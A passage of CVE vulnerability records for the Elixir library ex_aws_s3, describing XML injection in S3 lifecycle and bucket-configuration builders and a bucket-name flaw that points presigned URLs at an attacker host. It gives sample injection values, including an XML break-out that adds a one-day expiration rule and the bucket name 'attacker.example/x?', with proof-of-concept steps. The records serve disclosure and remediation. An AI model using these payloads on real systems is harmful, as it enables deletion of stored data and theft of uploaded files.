"value": "\u003cp\u003e\u003cstrong\u003e1. Unescaped interpolation.\u003c/strong\u003e \u003ccode\u003ebuild_lifecycle_rule/1\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3/utils.ex\u003c/code\u003e builds each text node of the \u003ccode\u003ePutBucketLifecycleConfiguration\u003c/code\u003e body by raw string interpolation: the rule \u003ccode\u003eid\u003c/code\u003e, the filter \u003ccode\u003eprefix\u003c/code\u003e, tag \u003ccode\u003ekey\u003c/code\u003e and \u003ccode\u003evalue\u003c/code\u003e, the \u003ccode\u003estorage\u003c/code\u003e class and \u003ccode\u003enewer_noncurrent_versions\u003c/code\u003e. None is XML-escaped or validated before \u003ccode\u003eIO.iodata_to_binary/1\u003c/code\u003e flattens the body.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Element break-out.\u003c/strong\u003e A value containing XML metacharacters is emitted verbatim. A tag value such as \u003ccode\u003efrontend\u0026lt;/Value\u0026gt;\u0026lt;/Tag\u0026gt;\u0026lt;/Filter\u0026gt;\u0026lt;Expiration\u0026gt;\u0026lt;Days\u0026gt;1\u0026lt;/Days\u0026gt;\u0026lt;/Expiration\u0026gt;\u0026lt;Filter\u0026gt;\u0026lt;Tag\u0026gt;\u0026lt;Key\u0026gt;team\u0026lt;/Key\u0026gt;\u0026lt;Value\u0026gt;frontend\u003c/code\u003e closes the \u003ccode\u003e\u0026lt;Value\u0026gt;\u003c/code\u003e, injects an \u003ccode\u003e\u0026lt;Expiration\u0026gt;\u003c/code\u003e action and reopens a \u003ccode\u003e\u0026lt;Filter\u0026gt;\u003c/code\u003e, so the rest of the document stays well-formed. The same technique can close and reopen \u003ccode\u003e\u0026lt;Rule\u0026gt;\u003c/code\u003e to append a separate rule.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Delivery.\u003c/strong\u003e The public entry point \u003ccode\u003eExAws.S3.put_bucket_lifecycle/2\u003c/code\u003e flows directly into this builder, so S3 receives and applies the injected lifecycle configuration as soon as the request is sent with \u003ccode\u003eExAws.request/2\u003c/code\u003e.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Unescaped interpolation.** `build_lifecycle_rule/1` in `lib/ex_aws/s3/utils.ex` builds each text node of the `PutBucketLifecycleConfiguration` body by raw string interpolation: the rule `id`, the filter `prefix`, tag `key` and `value`, the `storage` class and `newer_noncurrent_versions`. None is XML-escaped or validated before `IO.iodata_to_binary/1` flattens the body.\n\n**2. Element break-out.** A value containing XML metacharacters is emitted verbatim. A tag value such as `frontend\u003c/Value\u003e\u003c/Tag\u003e\u003c/Filter\u003e\u003cExpiration\u003e\u003cDays\u003e1\u003c/Days\u003e\u003c/Expiration\u003e\u003cFilter\u003e\u003cTag\u003e\u003cKey\u003eteam\u003c/Key\u003e\u003cValue\u003efrontend` closes the `\u003cValue\u003e`, injects an `\u003cExpiration\u003e` action and reopens a `\u003cFilter\u003e`, so the rest of the document stays well-formed. The same technique can close and reopen `\u003cRule\u003e` to append a separate rule.\n\n**3. Delivery.** The public entry point `ExAws.S3.put_bucket_lifecycle/2` flows directly into this builder, so S3 receives and applies the injected lifecycle configuration as soon as the request is sent with `ExAws.request/2`."
}
],
"value": "1. Unescaped interpolation. build_lifecycle_rule/1 in lib/ex_aws/s3/utils.ex builds each text node of the PutBucketLifecycleConfiguration body by raw string interpolation: the rule id, the filter prefix, tag key and value, the storage class and newer_noncurrent_versions. None is XML-escaped or validated before IO.iodata_to_binary/1 flattens the body.\n\n2. Element break-out. A value containing XML metacharacters is emitted verbatim. A tag value such as frontend\u003c/Value\u003e\u003c/Tag\u003e\u003c/Filter\u003e\u003cExpiration\u003e\u003cDays\u003e1\u003c/Days\u003e\u003c/Expiration\u003e\u003cFilter\u003e\u003cTag\u003e\u003cKey\u003eteam\u003c/Key\u003e\u003cValue\u003efrontend closes the \u003cValue\u003e, injects an \u003cExpiration\u003e action and reopens a \u003cFilter\u003e, so the rest of the document stays well-formed. The same technique can close and reopen \u003cRule\u003e to append a separate rule.\n\n3. Delivery. The public entry point ExAws.S3.put_bucket_lifecycle/2 flows directly into this builder, so S3 receives and applies the injected lifecycle configuration as soon as the request is sent with ExAws.request/2."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-63583",
"datePublished": "2026-11-24T14:14:58.243Z",
"dateReserved": "2026-07-17T04:14:44.351Z",
"dateUpdated": "2026-11-24T14:14:58.243Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-63582 (GCVE-0-2026-63582)
Vulnerability from nvd – Published: 2026-11-24 14:13 – Updated: 2026-11-24 14:13
VLAI
EPSS
VEX
Title
S3 bucket name controls the host of presigned URLs in ex_aws_s3
Summary
Externally Controlled Reference to a Resource in Another Sphere vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an S3 bucket name to make presigned URLs and presigned POST forms point at a host of their choice.
With virtual_host: true, s3_accelerate: true or bucket_as_host: true, ExAws.S3.presigned_url/5 and ExAws.S3.presigned_post/4 build the URL from the bucket name without checking it. A bucket such as attacker.example/x? turns the URL into https://attacker.example/x?.s3.amazonaws.com..., and the signature is computed for that host. Clients given the URL upload their files to, or download content from, the attacker's host, and every such URL discloses the access key id. With bucket_as_host: true any valid hostname works as the bucket name.
This issue affects ex_aws_s3: from 2.0.0 before 2.6.0.
Severity
CWE
- CWE-610 - Externally Controlled Reference to a Resource in Another Sphere
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_s3/security/advi… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-63582.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-63582 | related |
| https://github.com/ex-aws/ex_aws_s3/commit/4ce4d7… | related |
| https://github.com/ex-aws/ex_aws_s3/commit/ea26e8… | patch |
Impacted products
Date Public
2026-11-24 14:13
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex_aws_s3",
"packageURL": "pkg:hex/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3\u0027:presigned_url/5"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:presigned_post/4"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:url_to_sign/5"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.6.0",
"status": "affected",
"version": "2.0.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex-aws/ex_aws_s3",
"packageURL": "pkg:github/ex-aws/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3\u0027:presigned_url/5"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:presigned_post/4"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:url_to_sign/5"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "ea26e8b43785f3ff1f14d6b22d8069fc06a58e55",
"status": "affected",
"version": "4ce4d72219c0cb8de9356278203d8ea780311b75",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eReachable only when presigned URLs or POST forms are generated with \u003ccode\u003evirtual_host: true\u003c/code\u003e, \u003ccode\u003es3_accelerate: true\u003c/code\u003e or \u003ccode\u003ebucket_as_host: true\u003c/code\u003e and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style presigning, the default, places the bucket in the path and is not affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Reachable only when presigned URLs or POST forms are generated with `virtual_host: true`, `s3_accelerate: true` or `bucket_as_host: true` and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style presigning, the default, places the bucket in the path and is not affected."
}
],
"value": "Reachable only when presigned URLs or POST forms are generated with virtual_host: true, s3_accelerate: true or bucket_as_host: true and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style presigning, the default, places the bucket in the path and is not affected."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.6.0",
"versionStartIncluding": "2.0.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"dateAssigned": "2026-11-24T14:02:01.000Z",
"datePublic": "2026-11-24T14:13:15.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eExternally Controlled Reference to a Resource in Another Sphere vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an S3 bucket name to make presigned URLs and presigned POST forms point at a host of their choice.\u003c/p\u003e\n\u003cp\u003eWith \u003ccode\u003evirtual_host: true\u003c/code\u003e, \u003ccode\u003es3_accelerate: true\u003c/code\u003e or \u003ccode\u003ebucket_as_host: true\u003c/code\u003e, \u003ccode\u003eExAws.S3.presigned_url/5\u003c/code\u003e and \u003ccode\u003eExAws.S3.presigned_post/4\u003c/code\u003e build the URL from the bucket name without checking it. A bucket such as \u003ccode\u003eattacker.example/x?\u003c/code\u003e turns the URL into \u003ccode\u003ehttps://attacker.example/x?.s3.amazonaws.com...\u003c/code\u003e, and the signature is computed for that host. Clients given the URL upload their files to, or download content from, the attacker\u0027s host, and every such URL discloses the access key id. With \u003ccode\u003ebucket_as_host: true\u003c/code\u003e any valid hostname works as the bucket name.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Externally Controlled Reference to a Resource in Another Sphere vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an S3 bucket name to make presigned URLs and presigned POST forms point at a host of their choice.\n\nWith `virtual_host: true`, `s3_accelerate: true` or `bucket_as_host: true`, `ExAws.S3.presigned_url/5` and `ExAws.S3.presigned_post/4` build the URL from the bucket name without checking it. A bucket such as `attacker.example/x?` turns the URL into `https://attacker.example/x?.s3.amazonaws.com...`, and the signature is computed for that host. Clients given the URL upload their files to, or download content from, the attacker\u0027s host, and every such URL discloses the access key id. With `bucket_as_host: true` any valid hostname works as the bucket name.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"value": "Externally Controlled Reference to a Resource in Another Sphere vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an S3 bucket name to make presigned URLs and presigned POST forms point at a host of their choice.\n\nWith virtual_host: true, s3_accelerate: true or bucket_as_host: true, ExAws.S3.presigned_url/5 and ExAws.S3.presigned_post/4 build the URL from the bucket name without checking it. A bucket such as attacker.example/x? turns the URL into https://attacker.example/x?.s3.amazonaws.com..., and the signature is computed for that host. Clients given the URL upload their files to, or download content from, the attacker\u0027s host, and every such URL discloses the access key id. With bucket_as_host: true any valid hostname works as the bucket name.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"impacts": [
{
"capecId": "CAPEC-154",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eAn attacker who can choose the bucket name makes the application hand out presigned URLs and POST forms that point at the attacker\u0027s host. Files other users upload through those forms go to the attacker, presigned downloads serve attacker-controlled content under the application\u0027s name, and every such URL discloses the access key id. Applications that presign for per-tenant or user-supplied buckets with virtual-host addressing are affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "An attacker who can choose the bucket name makes the application hand out presigned URLs and POST forms that point at the attacker\u0027s host. Files other users upload through those forms go to the attacker, presigned downloads serve attacker-controlled content under the application\u0027s name, and every such URL discloses the access key id. Applications that presign for per-tenant or user-supplied buckets with virtual-host addressing are affected."
}
],
"value": "An attacker who can choose the bucket name makes the application hand out presigned URLs and POST forms that point at the attacker\u0027s host. Files other users upload through those forms go to the attacker, presigned downloads serve attacker-controlled content under the application\u0027s name, and every such URL discloses the access key id. Applications that presign for per-tenant or user-supplied buckets with virtual-host addressing are affected."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 5.8,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "PASSIVE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-610",
"description": "CWE-610 Externally Controlled Reference to a Resource in Another Sphere",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T14:13:16.822Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"name": "Virtual-host bucket name controls the host of presigned URLs in ExAws.S3.presigned_url/5 and presigned_post/4",
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-p62r-cgcg-9fm7"
},
{
"name": "EEF CNA record for CVE-2026-63582",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-63582.html"
},
{
"name": "OSV record EEF-CVE-2026-63582",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-63582"
},
{
"name": "Introducing commit 4ce4d72 in ex-aws/ex_aws_s3",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/4ce4d72219c0cb8de9356278203d8ea780311b75"
},
{
"name": "Fix commit ea26e8b in ex-aws/ex_aws_s3",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/ea26e8b43785f3ff1f14d6b22d8069fc06a58e55"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eUpgrading rejects bucket names containing characters that can change the host of a presigned URL. With \u003ccode\u003ebucket_as_host: true\u003c/code\u003e, a syntactically valid hostname is still used as the host after upgrading: applications that presign with \u003ccode\u003ebucket_as_host: true\u003c/code\u003e and bucket names they do not fully control must also pass the \u003ccode\u003ebucket_as_host_allowlist\u003c/code\u003e option, or set it in the S3 config, with the list of trusted hostnames.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Upgrading rejects bucket names containing characters that can change the host of a presigned URL. With `bucket_as_host: true`, a syntactically valid hostname is still used as the host after upgrading: applications that presign with `bucket_as_host: true` and bucket names they do not fully control must also pass the `bucket_as_host_allowlist` option, or set it in the S3 config, with the list of trusted hostnames."
}
],
"value": "Upgrading rejects bucket names containing characters that can change the host of a presigned URL. With bucket_as_host: true, a syntactically valid hostname is still used as the host after upgrading: applications that presign with bucket_as_host: true and bucket names they do not fully control must also pass the bucket_as_host_allowlist option, or set it in the S3 config, with the list of trusted hostnames."
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "S3 bucket name controls the host of presigned URLs in ex_aws_s3",
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn application presigns uploads for per-tenant buckets with \u003ccode\u003evirtual_host: true\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eA tenant sets its bucket name to \u003ccode\u003eattacker.example/x?\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eExAws.S3.presigned_url(config, :put, bucket, \"key\", virtual_host: true)\u003c/code\u003e returns \u003ccode\u003ehttps://attacker.example/x?.s3.amazonaws.com%2Fkey=\u0026amp;X-Amz-Credential=...\u003c/code\u003e, and \u003ccode\u003epresigned_post/4\u003c/code\u003e returns the form action \u003ccode\u003ehttps://attacker.example/x?.s3.amazonaws.com\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eURI.parse/1\u003c/code\u003e on either yields the host \u003ccode\u003eattacker.example\u003c/code\u003e, so any client given the URL or form connects there.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application presigns uploads for per-tenant buckets with `virtual_host: true`.\n2. A tenant sets its bucket name to `attacker.example/x?`.\n3. `ExAws.S3.presigned_url(config, :put, bucket, \"key\", virtual_host: true)` returns `https://attacker.example/x?.s3.amazonaws.com%2Fkey=\u0026X-Amz-Credential=...`, and `presigned_post/4` returns the form action `https://attacker.example/x?.s3.amazonaws.com`.\n4. `URI.parse/1` on either yields the host `attacker.example`, so any client given the URL or form connects there."
}
],
"value": "* An application presigns uploads for per-tenant buckets with virtual_host: true.\n* A tenant sets its bucket name to attacker.example/x?.\n* ExAws.S3.presigned_url(config, :put, bucket, \"key\", virtual_host: true) returns https://attacker.example/x?.s3.amazonaws.com%2Fkey=\u0026X-Amz-Credential=..., and presigned_post/4 returns the form action https://attacker.example/x?.s3.amazonaws.com.\n* URI.parse/1 on either yields the host attacker.example, so any client given the URL or form connects there."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. URL construction.\u003c/strong\u003e The private \u003ccode\u003eurl_to_sign/5\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e builds the URL for \u003ccode\u003epresigned_url/5\u003c/code\u003e and \u003ccode\u003epresigned_post/4\u003c/code\u003e as \u003ccode\u003e\"#{scheme}#{bucket}.#{host}#{port}#{object}\"\u003c/code\u003e when \u003ccode\u003evirtual_host\u003c/code\u003e is set, or \u003ccode\u003e\"#{scheme}#{bucket}#{port}#{object}\"\u003c/code\u003e with \u003ccode\u003ebucket_as_host\u003c/code\u003e. \u003ccode\u003es3_accelerate: true\u003c/code\u003e sets \u003ccode\u003evirtual_host\u003c/code\u003e and takes the same branch. The bucket name is not checked.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Signing for the attacker\u0027s host.\u003c/strong\u003e The string goes to \u003ccode\u003eExAws.Auth.presigned_url/9\u003c/code\u003e, which signs \u003ccode\u003eURI.parse(url).authority\u003c/code\u003e. For the bucket \u003ccode\u003eattacker.example/x?\u003c/code\u003e the signed host is \u003ccode\u003eattacker.example\u003c/code\u003e, and the \u003ccode\u003e?\u003c/code\u003e pushes the object key into the query string.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Effect.\u003c/strong\u003e Presigned URLs are built locally and never pass through \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e, so the fix in ex_aws for the request path does not cover them. A browser submitting the presigned POST sends its upload to the attacker, a client following a presigned GET receives attacker content, and \u003ccode\u003eX-Amz-Credential\u003c/code\u003e discloses the access key id. The secret key is not disclosed and the signature cannot be replayed against AWS.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. URL construction.** The private `url_to_sign/5` in `lib/ex_aws/s3.ex` builds the URL for `presigned_url/5` and `presigned_post/4` as `\"#{scheme}#{bucket}.#{host}#{port}#{object}\"` when `virtual_host` is set, or `\"#{scheme}#{bucket}#{port}#{object}\"` with `bucket_as_host`. `s3_accelerate: true` sets `virtual_host` and takes the same branch. The bucket name is not checked.\n\n**2. Signing for the attacker\u0027s host.** The string goes to `ExAws.Auth.presigned_url/9`, which signs `URI.parse(url).authority`. For the bucket `attacker.example/x?` the signed host is `attacker.example`, and the `?` pushes the object key into the query string.\n\n**3. Effect.** Presigned URLs are built locally and never pass through `ExAws.Operation.S3.add_bucket_to_path/2`, so the fix in ex_aws for the request path does not cover them. A browser submitting the presigned POST sends its upload to the attacker, a client following a presigned GET receives attacker content, and `X-Amz-Credential` discloses the access key id. The secret key is not disclosed and the signature cannot be replayed against AWS."
}
],
"value": "1. URL construction. The private url_to_sign/5 in lib/ex_aws/s3.ex builds the URL for presigned_url/5 and presigned_post/4 as \"#{scheme}#{bucket}.#{host}#{port}#{object}\" when virtual_host is set, or \"#{scheme}#{bucket}#{port}#{object}\" with bucket_as_host. s3_accelerate: true sets virtual_host and takes the same branch. The bucket name is not checked.\n\n2. Signing for the attacker\u0027s host. The string goes to ExAws.Auth.presigned_url/9, which signs URI.parse(url).authority. For the bucket attacker.example/x? the signed host is attacker.example, and the ? pushes the object key into the query string.\n\n3. Effect. Presigned URLs are built locally and never pass through ExAws.Operation.S3.add_bucket_to_path/2, so the fix in ex_aws for the request path does not cover them. A browser submitting the presigned POST sends its upload to the attacker, a client following a presigned GET receives attacker content, and X-Amz-Credential discloses the access key id. The secret key is not disclosed and the signature cannot be replayed against AWS."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-63582",
"datePublished": "2026-11-24T14:13:16.822Z",
"dateReserved": "2026-07-17T04:14:44.351Z",
"dateUpdated": "2026-11-24T14:13:16.822Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-63581 (GCVE-0-2026-63581)
Vulnerability from nvd – Published: 2026-11-24 14:15 – Updated: 2026-11-24 14:15
VLAI
EPSS
VEX
Title
ex_aws_s3 XML injection in bucket-configuration builders
Summary
XML Injection vulnerability in ex-aws ex_aws_s3 (ExAws.S3 module) allows an attacker to inject arbitrary XML configuration elements into S3 bucket-configuration request bodies via unescaped, caller-supplied values.
This vulnerability is associated with program files lib/ex_aws/s3.ex and program routines ExAws.S3.put_bucket_logging/2, ExAws.S3.put_bucket_notification/2, ExAws.S3.put_bucket_replication/2, ExAws.S3.put_bucket_website/2.
The bucket-configuration body builders construct their XML by interpolating caller-supplied values directly into the request body without escaping, and never route them through the module's own escape_xml_string/1 helper. A value containing XML metacharacters (<, >, &, quotes) can close the intended element early and open attacker-chosen elements, which the builder's trailing closing tag then closes, keeping the document single-rooted and well-formed. In a multi-tenant application where tenants configure their own bucket settings, an attacker who can influence one of the interpolated field values (for example the logging target, a notification ARN, a replication destination or Account, or a website redirect HostName) can inject arbitrary configuration nodes into a request the application signs and sends to AWS. The affected builders are reached through the public functions put_bucket_logging/2, put_bucket_notification/2, put_bucket_replication/2, and put_bucket_website/2.
This issue affects ex_aws_s3: from 2.5.9 before 2.6.0.
Severity
CWE
- CWE-91 - XML Injection
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_s3/security/advi… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-63581.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-63581 | related |
| https://github.com/ex-aws/ex_aws_s3/commit/7d6f5c… | related |
| https://github.com/ex-aws/ex_aws_s3/commit/eda0b9… | patch |
Impacted products
Date Public
2026-11-24 14:15
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex_aws_s3",
"packageURL": "pkg:hex/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_logging/2"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_notification/2"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_replication/2"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_website/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.6.0",
"status": "affected",
"version": "2.5.9",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex-aws/ex_aws_s3",
"packageURL": "pkg:github/ex-aws/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_logging/2"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_notification/2"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_replication/2"
},
{
"name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_website/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "eda0b9b9c63707f7db8d8f18c331df7fda57c397",
"status": "affected",
"version": "7d6f5cde90aaea36f9a059de874d1420da20eef2",
"versionType": "git"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.6.0",
"versionStartIncluding": "2.5.9",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T14:15:20.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eXML Injection vulnerability in ex-aws ex_aws_s3 (\u003ccode\u003eExAws.S3\u003c/code\u003e module) allows an attacker to inject arbitrary XML configuration elements into S3 bucket-configuration request bodies via unescaped, caller-supplied values.\u003c/p\u003e\n\u003cp\u003eThis vulnerability is associated with program files \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e and program routines \u003ccode\u003eExAws.S3.put_bucket_logging/2\u003c/code\u003e, \u003ccode\u003eExAws.S3.put_bucket_notification/2\u003c/code\u003e, \u003ccode\u003eExAws.S3.put_bucket_replication/2\u003c/code\u003e, \u003ccode\u003eExAws.S3.put_bucket_website/2\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThe bucket-configuration body builders construct their XML by interpolating caller-supplied values directly into the request body without escaping, and never route them through the module\u0027s own \u003ccode\u003eescape_xml_string/1\u003c/code\u003e helper. A value containing XML metacharacters (\u003ccode\u003e\u0026lt;\u003c/code\u003e, \u003ccode\u003e\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026amp;\u003c/code\u003e, quotes) can close the intended element early and open attacker-chosen elements, which the builder\u0027s trailing closing tag then closes, keeping the document single-rooted and well-formed. In a multi-tenant application where tenants configure their own bucket settings, an attacker who can influence one of the interpolated field values (for example the logging target, a notification ARN, a replication destination or Account, or a website redirect HostName) can inject arbitrary configuration nodes into a request the application signs and sends to AWS. The affected builders are reached through the public functions \u003ccode\u003eput_bucket_logging/2\u003c/code\u003e, \u003ccode\u003eput_bucket_notification/2\u003c/code\u003e, \u003ccode\u003eput_bucket_replication/2\u003c/code\u003e, and \u003ccode\u003eput_bucket_website/2\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.5.9 before 2.6.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
